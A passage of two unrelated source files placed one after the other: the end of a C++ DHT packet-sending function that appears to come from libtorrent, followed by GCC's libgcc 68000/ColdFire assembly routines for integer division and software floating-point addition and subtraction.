m_send_quota -= int(m_send_buf.size());
error_code ec;
m_send_fun(addr, aux::array_view<char const>(&m_send_buf[0], m_send_buf.size()), ec, 0);
if (ec)
{
m_counters.inc_stats_counter(counters::dht_messages_out_dropped);
#ifndef TORRENT_DISABLE_LOGGING
m_log->log_packet(dht_logger::outgoing_message, &m_send_buf[0]
, int(m_send_buf.size()), addr);
#endif
return false;
}
m_counters.inc_stats_counter(counters::dht_bytes_out, m_send_buf.size());
// account for IP and UDP overhead
m_counters.inc_stats_counter(counters::sent_ip_overhead_bytes
, addr.address().is_v6() ? 48 : 28);
m_counters.inc_stats_counter(counters::dht_messages_out);
#ifndef TORRENT_DISABLE_LOGGING
m_log->log_packet(dht_logger::outgoing_message, &m_send_buf[0]
, int(m_send_buf.size()), addr);
#endif
return true;
}
}}
|
/* libgcc routines for 68000 w/o floating-point hardware.
Copyright (C) 1994, 1996, 1997, 1998, 2008, 2009 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3, or (at your option) any
later version.
This file is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
/* Use this one for any 680x0; assumes no floating point hardware.
The trailing " '" appearing on some lines is for ANSI preprocessors. Yuk.
Some of this code comes from MINIX, via the folks at ericsson.
D. V. Henkel-Wallace (gumby@cygnus.com) Fete Bastille, 1992
*/
/* These are predefined by new versions of GNU cpp. */
#ifndef __USER_LABEL_PREFIX__
#define __USER_LABEL_PREFIX__ _
#endif
#ifndef __REGISTER_PREFIX__
#define __REGISTER_PREFIX__
#endif
#ifndef __IMMEDIATE_PREFIX__
#define __IMMEDIATE_PREFIX__ #
#endif
/* ANSI concatenation macros. */
#define CONCAT1(a, b) CONCAT2(a, b)
#define CONCAT2(a, b) a ## b
/* Use the right prefix for global labels. */
#define SYM(x) CONCAT1 (__USER_LABEL_PREFIX__, x)
/* Note that X is a function. */
#ifdef __ELF__
#define FUNC(x) .type SYM(x),function
#else
/* The .proc pseudo-op is accepted, but ignored, by GAS. We could just
define this to the empty string for non-ELF systems, but defining it
to .proc means that the information is available to the assembler if
the need arises. */
#define FUNC(x) .proc
#endif
/* Use the right prefix for registers. */
#define REG(x) CONCAT1 (__REGISTER_PREFIX__, x)
/* Use the right prefix for immediate values. */
#define IMM(x) CONCAT1 (__IMMEDIATE_PREFIX__, x)
#define d0 REG (d0)
#define d1 REG (d1)
#define d2 REG (d2)
#define d3 REG (d3)
#define d4 REG (d4)
#define d5 REG (d5)
#define d6 REG (d6)
#define d7 REG (d7)
#define a0 REG (a0)
#define a1 REG (a1)
#define a2 REG (a2)
#define a3 REG (a3)
#define a4 REG (a4)
#define a5 REG (a5)
#define a6 REG (a6)
#define fp REG (fp)
#define sp REG (sp)
#define pc REG (pc)
/* Provide a few macros to allow for PIC code support.
* With PIC, data is stored A5 relative so we've got to take a bit of special
* care to ensure that all loads of global data is via A5. PIC also requires
* jumps and subroutine calls to be PC relative rather than absolute. We cheat
* a little on this and in the PIC case, we use short offset branches and
* hope that the final object code is within range (which it should be).
*/
#ifndef __PIC__
/* Non PIC (absolute/relocatable) versions */
.macro PICCALL addr
jbsr \addr
.endm
.macro PICJUMP addr
jmp \addr
.endm
.macro PICLEA sym, reg
lea \sym, \reg
.endm
.macro PICPEA sym, areg
pea \sym
.endm
#else /* __PIC__ */
# if defined (__uClinux__)
/* Versions for uClinux */
# if defined(__ID_SHARED_LIBRARY__)
/* -mid-shared-library versions */
.macro PICLEA sym, reg
movel a5@(_current_shared_library_a5_offset_), \reg
movel \sym@GOT(\reg), \reg
.endm
.macro PICPEA sym, areg
movel a5@(_current_shared_library_a5_offset_), \areg
movel \sym@GOT(\areg), sp@-
.endm
.macro PICCALL addr
PICLEA \addr,a0
jsr a0@
.endm
.macro PICJUMP addr
PICLEA \addr,a0
jmp a0@
.endm
# else /* !__ID_SHARED_LIBRARY__ */
/* Versions for -msep-data */
.macro PICLEA sym, reg
movel \sym@GOT(a5), \reg
.endm
.macro PICPEA sym, areg
movel \sym@GOT(a5), sp@-
.endm
.macro PICCALL addr
#if defined (__mcoldfire__) && !defined (__mcfisab__) && !defined (__mcfisac__)
lea \addr-.-8,a0
jsr pc@(a0)
#else
jbsr \addr
#endif
.endm
.macro PICJUMP addr
/* ISA C has no bra.l instruction, and since this assembly file
gets assembled into multiple object files, we avoid the
bra instruction entirely. */
#if defined (__mcoldfire__) && !defined (__mcfisab__)
lea \addr-.-8,a0
jmp pc@(a0)
#else
bra \addr
#endif
.endm
# endif
# else /* !__uClinux__ */
/* Versions for Linux */
.macro PICLEA sym, reg
movel #_GLOBAL_OFFSET_TABLE_@GOTPC, \reg
lea (-6, pc, \reg), \reg
movel \sym@GOT(\reg), \reg
.endm
.macro PICPEA sym, areg
movel #_GLOBAL_OFFSET_TABLE_@GOTPC, \areg
lea (-6, pc, \areg), \areg
movel \sym@GOT(\areg), sp@-
.endm
.macro PICCALL addr
#if defined (__mcoldfire__) && !defined (__mcfisab__) && !defined (__mcfisac__)
lea \addr-.-8,a0
jsr pc@(a0)
#else
jbsr \addr
#endif
.endm
.macro PICJUMP addr
/* ISA C has no bra.l instruction, and since this assembly file
gets assembled into multiple object files, we avoid the
bra instruction entirely. */
#if defined (__mcoldfire__) && !defined (__mcfisab__)
lea \addr-.-8,a0
jmp pc@(a0)
#else
bra \addr
#endif
.endm
# endif
#endif /* __PIC__ */
#ifdef L_floatex
| This is an attempt at a decent floating point (single, double and
| extended double) code for the GNU C compiler. It should be easy to
| adapt to other compilers (but beware of the local labels!).
| Starting date: 21 October, 1990
| It is convenient to introduce the notation (s,e,f) for a floating point
| number, where s=sign, e=exponent, f=fraction. We will call a floating
| point number fpn to abbreviate, independently of the precision.
| Let MAX_EXP be in each case the maximum exponent (255 for floats, 1023
| for doubles and 16383 for long doubles). We then have the following
| different cases:
| 1. Normalized fpns have 0 < e < MAX_EXP. They correspond to
| (-1)^s x 1.f x 2^(e-bias-1).
| 2. Denormalized fpns have e=0. They correspond to numbers of the form
| (-1)^s x 0.f x 2^(-bias).
| 3. +/-INFINITY have e=MAX_EXP, f=0.
| 4. Quiet NaN (Not a Number) have all bits set.
| 5. Signaling NaN (Not a Number) have s=0, e=MAX_EXP, f=1.
|=============================================================================
| exceptions
|=============================================================================
| This is the floating point condition code register (_fpCCR):
|
| struct {
| short _exception_bits;
| short _trap_enable_bits;
| short _sticky_bits;
| short _rounding_mode;
| short _format;
| short _last_operation;
| union {
| float sf;
| double df;
| } _operand1;
| union {
| float sf;
| double df;
| } _operand2;
| } _fpCCR;
.data
.even
.globl SYM (_fpCCR)
SYM (_fpCCR):
__exception_bits:
.word 0
__trap_enable_bits:
.word 0
__sticky_bits:
.word 0
__rounding_mode:
.word ROUND_TO_NEAREST
__format:
.word NIL
__last_operation:
.word NOOP
__operand1:
.long 0
.long 0
__operand2:
.long 0
.long 0
| Offsets:
EBITS = __exception_bits - SYM (_fpCCR)
TRAPE = __trap_enable_bits - SYM (_fpCCR)
STICK = __sticky_bits - SYM (_fpCCR)
ROUND = __rounding_mode - SYM (_fpCCR)
FORMT = __format - SYM (_fpCCR)
LASTO = __last_operation - SYM (_fpCCR)
OPER1 = __operand1 - SYM (_fpCCR)
OPER2 = __operand2 - SYM (_fpCCR)
| The following exception types are supported:
INEXACT_RESULT = 0x0001
UNDERFLOW = 0x0002
OVERFLOW = 0x0004
DIVIDE_BY_ZERO = 0x0008
INVALID_OPERATION = 0x0010
| The allowed rounding modes are:
UNKNOWN = -1
ROUND_TO_NEAREST = 0 | round result to nearest representable value
ROUND_TO_ZERO = 1 | round result towards zero
ROUND_TO_PLUS = 2 | round result towards plus infinity
ROUND_TO_MINUS = 3 | round result towards minus infinity
| The allowed values of format are:
NIL = 0
SINGLE_FLOAT = 1
DOUBLE_FLOAT = 2
LONG_FLOAT = 3
| The allowed values for the last operation are:
NOOP = 0
ADD = 1
MULTIPLY = 2
DIVIDE = 3
NEGATE = 4
COMPARE = 5
EXTENDSFDF = 6
TRUNCDFSF = 7
|=============================================================================
| __clear_sticky_bits
|=============================================================================
| The sticky bits are normally not cleared (thus the name), whereas the
| exception type and exception value reflect the last computation.
| This routine is provided to clear them (you can also write to _fpCCR,
| since it is globally visible).
.globl SYM (__clear_sticky_bit)
.text
.even
| void __clear_sticky_bits(void);
SYM (__clear_sticky_bit):
PICLEA SYM (_fpCCR),a0
#ifndef __mcoldfire__
movew IMM (0),a0@(STICK)
#else
clr.w a0@(STICK)
#endif
rts
|=============================================================================
| $_exception_handler
|=============================================================================
.globl $_exception_handler
.text
.even
| This is the common exit point if an exception occurs.
| NOTE: it is NOT callable from C!
| It expects the exception type in d7, the format (SINGLE_FLOAT,
| DOUBLE_FLOAT or LONG_FLOAT) in d6, and the last operation code in d5.
| It sets the corresponding exception and sticky bits, and the format.
| Depending on the format if fills the corresponding slots for the
| operands which produced the exception (all this information is provided
| so if you write your own exception handlers you have enough information
| to deal with the problem).
| Then checks to see if the corresponding exception is trap-enabled,
| in which case it pushes the address of _fpCCR and traps through
| trap FPTRAP (15 for the moment).
FPTRAP = 15
$_exception_handler:
PICLEA SYM (_fpCCR),a0
movew d7,a0@(EBITS) | set __exception_bits
#ifndef __mcoldfire__
orw d7,a0@(STICK) | and __sticky_bits
#else
movew a0@(STICK),d4
orl d7,d4
movew d4,a0@(STICK)
#endif
movew d6,a0@(FORMT) | and __format
movew d5,a0@(LASTO) | and __last_operation
| Now put the operands in place:
#ifndef __mcoldfire__
cmpw IMM (SINGLE_FLOAT),d6
#else
cmpl IMM (SINGLE_FLOAT),d6
#endif
beq 1f
movel a6@(8),a0@(OPER1)
movel a6@(12),a0@(OPER1+4)
movel a6@(16),a0@(OPER2)
movel a6@(20),a0@(OPER2+4)
bra 2f
1: movel a6@(8),a0@(OPER1)
movel a6@(12),a0@(OPER2)
2:
| And check whether the exception is trap-enabled:
#ifndef __mcoldfire__
andw a0@(TRAPE),d7 | is exception trap-enabled?
#else
clrl d6
movew a0@(TRAPE),d6
andl d6,d7
#endif
beq 1f | no, exit
PICPEA SYM (_fpCCR),a1 | yes, push address of _fpCCR
trap IMM (FPTRAP) | and trap
#ifndef __mcoldfire__
1: moveml sp@+,d2-d7 | restore data registers
#else
1: moveml sp@,d2-d7
| XXX if frame pointer is ever removed, stack pointer must
| be adjusted here.
#endif
unlk a6 | and return
rts
#endif /* L_floatex */
#ifdef L_mulsi3
.text
FUNC(__mulsi3)
.globl SYM (__mulsi3)
SYM (__mulsi3):
movew sp@(4), d0 /* x0 -> d0 */
muluw sp@(10), d0 /* x0*y1 */
movew sp@(6), d1 /* x1 -> d1 */
muluw sp@(8), d1 /* x1*y0 */
#ifndef __mcoldfire__
addw d1, d0
#else
addl d1, d0
#endif
swap d0
clrw d0
movew sp@(6), d1 /* x1 -> d1 */
muluw sp@(10), d1 /* x1*y1 */
addl d1, d0
rts
#endif /* L_mulsi3 */
#ifdef L_udivsi3
.text
FUNC(__udivsi3)
.globl SYM (__udivsi3)
SYM (__udivsi3):
#ifndef __mcoldfire__
movel d2, sp@-
movel sp@(12), d1 /* d1 = divisor */
movel sp@(8), d0 /* d0 = dividend */
cmpl IMM (0x10000), d1 /* divisor >= 2 ^ 16 ? */
jcc L3 /* then try next algorithm */
movel d0, d2
clrw d2
swap d2
divu d1, d2 /* high quotient in lower word */
movew d2, d0 /* save high quotient */
swap d0
movew sp@(10), d2 /* get low dividend + high rest */
divu d1, d2 /* low quotient */
movew d2, d0
jra L6
L3: movel d1, d2 /* use d2 as divisor backup */
L4: lsrl IMM (1), d1 /* shift divisor */
lsrl IMM (1), d0 /* shift dividend */
cmpl IMM (0x10000), d1 /* still divisor >= 2 ^ 16 ? */
jcc L4
divu d1, d0 /* now we have 16-bit divisor */
andl IMM (0xffff), d0 /* mask out divisor, ignore remainder */
/* Multiply the 16-bit tentative quotient with the 32-bit divisor. Because of
the operand ranges, this might give a 33-bit product. If this product is
greater than the dividend, the tentative quotient was too large. */
movel d2, d1
mulu d0, d1 /* low part, 32 bits */
swap d2
mulu d0, d2 /* high part, at most 17 bits */
swap d2 /* align high part with low part */
tstw d2 /* high part 17 bits? */
jne L5 /* if 17 bits, quotient was too large */
addl d2, d1 /* add parts */
jcs L5 /* if sum is 33 bits, quotient was too large */
cmpl sp@(8), d1 /* compare the sum with the dividend */
jls L6 /* if sum > dividend, quotient was too large */
L5: subql IMM (1), d0 /* adjust quotient */
L6: movel sp@+, d2
rts
#else /* __mcoldfire__ */
/* ColdFire implementation of non-restoring division algorithm from
Hennessy & Patterson, Appendix A. */
link a6,IMM (-12)
moveml d2-d4,sp@
movel a6@(8),d0
movel a6@(12),d1
clrl d2 | clear p
moveq IMM (31),d4
L1: addl d0,d0 | shift reg pair (p,a) one bit left
addxl d2,d2
movl d2,d3 | subtract b from p, store in tmp.
subl d1,d3
jcs L2 | if no carry,
bset IMM (0),d0 | set the low order bit of a to 1,
movl d3,d2 | and store tmp in p.
L2: subql IMM (1),d4
jcc L1
moveml sp@,d2-d4 | restore data registers
unlk a6 | and return
rts
#endif /* __mcoldfire__ */
#endif /* L_udivsi3 */
#ifdef L_divsi3
.text
FUNC(__divsi3)
.globl SYM (__divsi3)
SYM (__divsi3):
movel d2, sp@-
moveq IMM (1), d2 /* sign of result stored in d2 (=1 or =-1) */
movel sp@(12), d1 /* d1 = divisor */
jpl L1
negl d1
#ifndef __mcoldfire__
negb d2 /* change sign because divisor <0 */
#else
negl d2 /* change sign because divisor <0 */
#endif
L1: movel sp@(8), d0 /* d0 = dividend */
jpl L2
negl d0
#ifndef __mcoldfire__
negb d2
#else
negl d2
#endif
L2: movel d1, sp@-
movel d0, sp@-
PICCALL SYM (__udivsi3) /* divide abs(dividend) by abs(divisor) */
addql IMM (8), sp
tstb d2
jpl L3
negl d0
L3: movel sp@+, d2
rts
#endif /* L_divsi3 */
#ifdef L_umodsi3
.text
FUNC(__umodsi3)
.globl SYM (__umodsi3)
SYM (__umodsi3):
movel sp@(8), d1 /* d1 = divisor */
movel sp@(4), d0 /* d0 = dividend */
movel d1, sp@-
movel d0, sp@-
PICCALL SYM (__udivsi3)
addql IMM (8), sp
movel sp@(8), d1 /* d1 = divisor */
#ifndef __mcoldfire__
movel d1, sp@-
movel d0, sp@-
PICCALL SYM (__mulsi3) /* d0 = (a/b)*b */
addql IMM (8), sp
#else
mulsl d1,d0
#endif
movel sp@(4), d1 /* d1 = dividend */
subl d0, d1 /* d1 = a - (a/b)*b */
movel d1, d0
rts
#endif /* L_umodsi3 */
#ifdef L_modsi3
.text
FUNC(__modsi3)
.globl SYM (__modsi3)
SYM (__modsi3):
movel sp@(8), d1 /* d1 = divisor */
movel sp@(4), d0 /* d0 = dividend */
movel d1, sp@-
movel d0, sp@-
PICCALL SYM (__divsi3)
addql IMM (8), sp
movel sp@(8), d1 /* d1 = divisor */
#ifndef __mcoldfire__
movel d1, sp@-
movel d0, sp@-
PICCALL SYM (__mulsi3) /* d0 = (a/b)*b */
addql IMM (8), sp
#else
mulsl d1,d0
#endif
movel sp@(4), d1 /* d1 = dividend */
subl d0, d1 /* d1 = a - (a/b)*b */
movel d1, d0
rts
#endif /* L_modsi3 */
#ifdef L_double
.globl SYM (_fpCCR)
.globl $_exception_handler
QUIET_NaN = 0xffffffff
D_MAX_EXP = 0x07ff
D_BIAS = 1022
DBL_MAX_EXP = D_MAX_EXP - D_BIAS
DBL_MIN_EXP = 1 - D_BIAS
DBL_MANT_DIG = 53
INEXACT_RESULT = 0x0001
UNDERFLOW = 0x0002
OVERFLOW = 0x0004
DIVIDE_BY_ZERO = 0x0008
INVALID_OPERATION = 0x0010
DOUBLE_FLOAT = 2
NOOP = 0
ADD = 1
MULTIPLY = 2
DIVIDE = 3
NEGATE = 4
COMPARE = 5
EXTENDSFDF = 6
TRUNCDFSF = 7
UNKNOWN = -1
ROUND_TO_NEAREST = 0 | round result to nearest representable value
ROUND_TO_ZERO = 1 | round result towards zero
ROUND_TO_PLUS = 2 | round result towards plus infinity
ROUND_TO_MINUS = 3 | round result towards minus infinity
| Entry points:
.globl SYM (__adddf3)
.globl SYM (__subdf3)
.globl SYM (__muldf3)
.globl SYM (__divdf3)
.globl SYM (__negdf2)
.globl SYM (__cmpdf2)
.globl SYM (__cmpdf2_internal)
.hidden SYM (__cmpdf2_internal)
.text
.even
| These are common routines to return and signal exceptions.
Ld$den:
| Return and signal a denormalized number
orl d7,d0
movew IMM (INEXACT_RESULT+UNDERFLOW),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
Ld$infty:
Ld$overflow:
| Return a properly signed INFINITY and set the exception flags
movel IMM (0x7ff00000),d0
movel IMM (0),d1
orl d7,d0
movew IMM (INEXACT_RESULT+OVERFLOW),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
Ld$underflow:
| Return 0 and set the exception flags
movel IMM (0),d0
movel d0,d1
movew IMM (INEXACT_RESULT+UNDERFLOW),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
Ld$inop:
| Return a quiet NaN and set the exception flags
movel IMM (QUIET_NaN),d0
movel d0,d1
movew IMM (INEXACT_RESULT+INVALID_OPERATION),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
Ld$div$0:
| Return a properly signed INFINITY and set the exception flags
movel IMM (0x7ff00000),d0
movel IMM (0),d1
orl d7,d0
movew IMM (INEXACT_RESULT+DIVIDE_BY_ZERO),d7
moveq IMM (DOUBLE_FLOAT),d6
PICJUMP $_exception_handler
|=============================================================================
|=============================================================================
| double precision routines
|=============================================================================
|=============================================================================
| A double precision floating point number (double) has the format:
|
| struct _double {
| unsigned int sign : 1; /* sign bit */
| unsigned int exponent : 11; /* exponent, shifted by 126 */
| unsigned int fraction : 52; /* fraction */
| } double;
|
| Thus sizeof(double) = 8 (64 bits).
|
| All the routines are callable from C programs, and return the result
| in the register pair d0-d1. They also preserve all registers except
| d0-d1 and a0-a1.
|=============================================================================
| __subdf3
|=============================================================================
| double __subdf3(double, double);
FUNC(__subdf3)
SYM (__subdf3):
bchg IMM (31),sp@(12) | change sign of second operand
| and fall through, so we always add
|=============================================================================
| __adddf3
|=============================================================================
| double __adddf3(double, double);
FUNC(__adddf3)
SYM (__adddf3):
#ifndef __mcoldfire__
link a6,IMM (0) | everything will be done in registers
moveml d2-d7,sp@- | save all data registers and a2 (but d0-d1)
#else
link a6,IMM (-24)
moveml d2-d7,sp@
#endif
movel a6@(8),d0 | get first operand
movel a6@(12),d1 |
movel a6@(16),d2 | get second operand
movel a6@(20),d3 |
movel d0,d7 | get d0's sign bit in d7 '
addl d1,d1 | check and clear sign bit of a, and gain one
addxl d0,d0 | bit of extra precision
beq Ladddf$b | if zero return second operand
movel d2,d6 | save sign in d6
addl d3,d3 | get rid of sign bit and gain one bit of
addxl d2,d2 | extra precision
beq Ladddf$a | if zero return first operand
andl IMM (0x80000000),d7 | isolate a's sign bit '
swap d6 | and also b's sign bit '
#ifndef __mcoldfire__
andw IMM (0x8000),d6 |
orw d6,d7 | and combine them into d7, so that a's sign '
| bit is in the high word and b's is in the '
| low word, so d6 is free to be used
#else
andl IMM (0x8000),d6
orl d6,d7
#endif
movel d7,a0 | now save d7 into a0, so d7 is free to
| be used also
| Get the exponents and check for denormalized and/or infinity.
movel IMM (0x001fffff),d6 | mask for the fraction
movel IMM (0x00200000),d7 | mask to put hidden bit back
movel d0,d4 |
andl d6,d0 | get fraction in d0
notl d6 | make d6 into mask for the exponent
andl d6,d4 | get exponent in d4
beq Ladddf$a$den | branch if a is denormalized
cmpl d6,d4 | check for INFINITY or NaN
beq Ladddf$nf |
orl d7,d0 | and put hidden bit back
Ladddf$1:
swap d4 | shift right exponent so that it starts
#ifndef __mcoldfire__
lsrw IMM (5),d4 | in bit 0 and not bit 20
#else
lsrl IMM (5),d4 | in bit 0 and not bit 20
#endif
| Now we have a's exponent in d4 and fraction in d0-d1 '
movel d2,d5 | save b to get exponent
andl d6,d5 | get exponent in d5
beq Ladddf$b$den | branch if b is denormalized
cmpl d6,d5 | check for INFINITY or NaN
beq Ladddf$nf
notl d6 | make d6 into mask for the fraction again
andl d6,d2 | and get fraction in d2
orl d7,d2 | and put hidden bit back
Ladddf$2:
swap d5 | shift right exponent so that it starts
#ifndef __mcoldfire__
lsrw IMM (5),d5 | in bit 0 and not bit 20
#else
lsrl IMM (5),d5 | in bit 0 and not bit 20
#endif
| Now we have b's exponent in d5 and fraction in d2-d3. '
| The situation now is as follows: the signs are combined in a0, the
| numbers are in d0-d1 (a) and d2-d3 (b), and the exponents in d4 (a)
| and d5 (b). To do the rounding correctly we need to keep all the
| bits until the end, so we need to use d0-d1-d2-d3 for the first number
| and d4-d5-d6-d7 for the second. To do this we store (temporarily) the
| exponents in a2-a3.
#ifndef __mcoldfire__
moveml a2-a3,sp@- | save the address registers
#else
movel a2,sp@-
movel a3,sp@-
movel a4,sp@-
#endif
movel d4,a2 | save the exponents
movel d5,a3 |
movel IMM (0),d7 | and move the numbers around
movel d7,d6 |
movel d3,d5 |
movel d2,d4 |
movel d7,d3 |
movel d7,d2 |
| Here we shift the numbers until the exponents are the same, and put
| the largest exponent in a2.
#ifndef __mcoldfire__
exg d4,a2 | get exponents back
exg d5,a3 |
cmpw d4,d5 | compare the exponents
#else
movel d4,a4 | get exponents back
movel a2,d4
movel a4,a2
movel d5,a4
movel a3,d5
movel a4,a3
cmpl d4,d5 | compare the exponents
#endif
beq Ladddf$3 | if equal don't shift '
bhi 9f | branch if second exponent is higher
| Here we have a's exponent larger than b's, so we have to shift b. We do
| this by using as counter d2:
1: movew d4,d2 | move largest exponent to d2
#ifndef __mcoldfire__
subw d5,d2 | and subtract second exponent
exg d4,a2 | get back the longs we saved
exg d5,a3 |
#else
subl d5,d2 | and subtract second exponent
movel d4,a4 | get back the longs we saved
movel a2,d4
movel a4,a2
movel d5,a4
movel a3,d5
movel a4,a3
#endif
| if difference is too large we don't shift (actually, we can just exit) '
#ifndef __mcoldfire__
cmpw IMM (DBL_MANT_DIG+2),d2
#else
cmpl IMM (DBL_MANT_DIG+2),d2
#endif
bge Ladddf$b$small
#ifndef __mcoldfire__
cmpw IMM (32),d2 | if difference >= 32, shift by longs
#else
cmpl IMM (32),d2 | if difference >= 32, shift by longs
#endif
bge 5f
2:
#ifndef __mcoldfire__
cmpw IMM (16),d2 | if difference >= 16, shift by words
#else
cmpl IMM (16),d2 | if difference >= 16, shift by words
#endif
bge 6f
bra 3f | enter dbra loop
4:
#ifndef __mcoldfire__
lsrl IMM (1),d4
roxrl IMM (1),d5
roxrl IMM (1),d6
roxrl IMM (1),d7
#else
lsrl IMM (1),d7
btst IMM (0),d6
beq 10f
bset IMM (31),d7
10: lsrl IMM (1),d6
btst IMM (0),d5
beq 11f
bset IMM (31),d6
11: lsrl IMM (1),d5
btst IMM (0),d4
beq 12f
bset IMM (31),d5
12: lsrl IMM (1),d4
#endif
3:
#ifndef __mcoldfire__
dbra d2,4b
#else
subql IMM (1),d2
bpl 4b
#endif
movel IMM (0),d2
movel d2,d3
bra Ladddf$4
5:
movel d6,d7
movel d5,d6
movel d4,d5
movel IMM (0),d4
#ifndef __mcoldfire__
subw IMM (32),d2
#else
subl IMM (32),d2
#endif
bra 2b
6:
movew d6,d7
swap d7
movew d5,d6
swap d6
movew d4,d5
swap d5
movew IMM (0),d4
swap d4
#ifndef __mcoldfire__
subw IMM (16),d2
#else
subl IMM (16),d2
#endif
bra 3b
9:
#ifndef __mcoldfire__
exg d4,d5
movew d4,d6
subw d5,d6 | keep d5 (largest exponent) in d4
exg d4,a2
exg d5,a3
#else
movel d5,d6
movel d4,d5
movel d6,d4
subl d5,d6
movel d4,a4
movel a2,d4
movel a4,a2
movel d5,a4
movel a3,d5
movel a4,a3
#endif
| if difference is too large we don't shift (actually, we can just exit) '
#ifndef __mcoldfire__
cmpw IMM (DBL_MANT_DIG+2),d6
#else
cmpl IMM (DBL_MANT_DIG+2),d6
#endif
bge Ladddf$a$small
#ifndef __mcoldfire__
cmpw IMM (32),d6 | if difference >= 32, shift by longs
#else
cmpl IMM (32),d6 | if difference >= 32, shift by longs
#endif
bge 5f
2:
#ifndef __mcoldfire__
cmpw IMM (16),d6 | if difference >= 16, shift by words
#else
cmpl IMM (16),d6 | if difference >= 16, shift by words
#endif
bge 6f
bra 3f | enter dbra loop
4:
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
#else
lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
btst IMM (0),d1
beq 11f
bset IMM (31),d2
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 12f
bset IMM (31),d1
12: lsrl IMM (1),d0
#endif
3:
#ifndef __mcoldfire__
dbra d6,4b
#else
subql IMM (1),d6
bpl 4b
#endif
movel IMM (0),d7
movel d7,d6
bra Ladddf$4
5:
movel d2,d3
movel d1,d2
movel d0,d1
movel IMM (0),d0
#ifndef __mcoldfire__
subw IMM (32),d6
#else
subl IMM (32),d6
#endif
bra 2b
6:
movew d2,d3
swap d3
movew d1,d2
swap d2
movew d0,d1
swap d1
movew IMM (0),d0
swap d0
#ifndef __mcoldfire__
subw IMM (16),d6
#else
subl IMM (16),d6
#endif
bra 3b
Ladddf$3:
#ifndef __mcoldfire__
exg d4,a2
exg d5,a3
#else
movel d4,a4
movel a2,d4
movel a4,a2
movel d5,a4
movel a3,d5
movel a4,a3
#endif
Ladddf$4:
| Now we have the numbers in d0--d3 and d4--d7, the exponent in a2, and
| the signs in a4.
| Here we have to decide whether to add or subtract the numbers:
#ifndef __mcoldfire__
exg d7,a0 | get the signs
exg d6,a3 | a3 is free to be used
#else
movel d7,a4
movel a0,d7
movel a4,a0
movel d6,a4
movel a3,d6
movel a4,a3
#endif
movel d7,d6 |
movew IMM (0),d7 | get a's sign in d7 '
swap d6 |
movew IMM (0),d6 | and b's sign in d6 '
eorl d7,d6 | compare the signs
bmi Lsubdf$0 | if the signs are different we have
| to subtract
#ifndef __mcoldfire__
exg d7,a0 | else we add the numbers
exg d6,a3 |
#else
movel d7,a4
movel a0,d7
movel a4,a0
movel d6,a4
movel a3,d6
movel a4,a3
#endif
addl d7,d3 |
addxl d6,d2 |
addxl d5,d1 |
addxl d4,d0 |
movel a2,d4 | return exponent to d4
movel a0,d7 |
andl IMM (0x80000000),d7 | d7 now has the sign
#ifndef __mcoldfire__
moveml sp@+,a2-a3
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
| Before rounding normalize so bit #DBL_MANT_DIG is set (we will consider
| the case of denormalized numbers in the rounding routine itself).
| As in the addition (not in the subtraction!) we could have set
| one more bit we check this:
btst IMM (DBL_MANT_DIG+1),d0
beq 1f
#ifndef __mcoldfire__
lsrl IMM (1),d0
roxrl IMM (1),d1
roxrl IMM (1),d2
roxrl IMM (1),d3
addw IMM (1),d4
#else
lsrl IMM (1),d3
btst IMM (0),d2
beq 10f
bset IMM (31),d3
10: lsrl IMM (1),d2
btst IMM (0),d1
beq 11f
bset IMM (31),d2
11: lsrl IMM (1),d1
btst IMM (0),d0
beq 12f
bset IMM (31),d1
12: lsrl IMM (1),d0
addl IMM (1),d4
#endif
1:
lea pc@(Ladddf$5),a0 | to return from rounding routine
PICLEA SYM (_fpCCR),a1 | check the rounding mode
#ifdef __mcoldfire__
clrl d6
#endif
movew a1@(6),d6 | rounding mode in d6
beq Lround$to$nearest
#ifndef __mcoldfire__
cmpw IMM (ROUND_TO_PLUS),d6
#else
cmpl IMM (ROUND_TO_PLUS),d6
#endif
bhi Lround$to$minus
blt Lround$to$zero
bra Lround$to$plus
Ladddf$5:
| Put back the exponent and check for overflow
#ifndef __mcoldfire__
cmpw IMM (0x7ff),d4 | is the exponent big?
#else
cmpl IMM (0x7ff),d4 | is the exponent big?
#endif
bge 1f
bclr IMM (DBL_MANT_DIG-1),d0
#ifndef __mcoldfire__
lslw IMM (4),d4 | put exponent back into position
#else
lsll IMM (4),d4 | put exponent back into position
#endif
swap d0 |
#ifndef __mcoldfire__
orw d4,d0 |
#else
orl d4,d0 |
#endif
swap d0 |
bra Ladddf$ret
1:
moveq IMM (ADD),d5
bra Ld$overflow
Lsubdf$0:
| Here we do the subtraction.
#ifndef __mcoldfire__
exg d7,a0 | put sign back in a0
exg d6,a3 |
#else
movel d7,a4
movel a0,d7
movel a4,a0
movel d6,a4
movel a3,d6
movel a4,a3
#endif
subl d7,d3 |
subxl d6,d2 |
subxl d5,d1 |
subxl d4,d0 |
beq Ladddf$ret$1 | if zero just exit
bpl 1f | if positive skip the following
movel a0,d7 |
bchg IMM (31),d7 | change sign bit in d7
movel d7,a0 |
negl d3 |
negxl d2 |
negxl d1 | and negate result
negxl d0 |
1:
movel a2,d4 | return exponent to d4
movel a0,d7
andl IMM (0x80000000),d7 | isolate sign bit
#ifndef __mcoldfire__
moveml sp@+,a2-a3 |
#else
movel sp@+,a4
movel sp@+,a3
movel sp@+,a2
#endif
| Before rounding normalize so bit #DBL_MANT_DIG is set (we will consider
| the case of denormalized numbers in the rounding routine itself).
| As in the addition (not in the subtraction!) we could have set
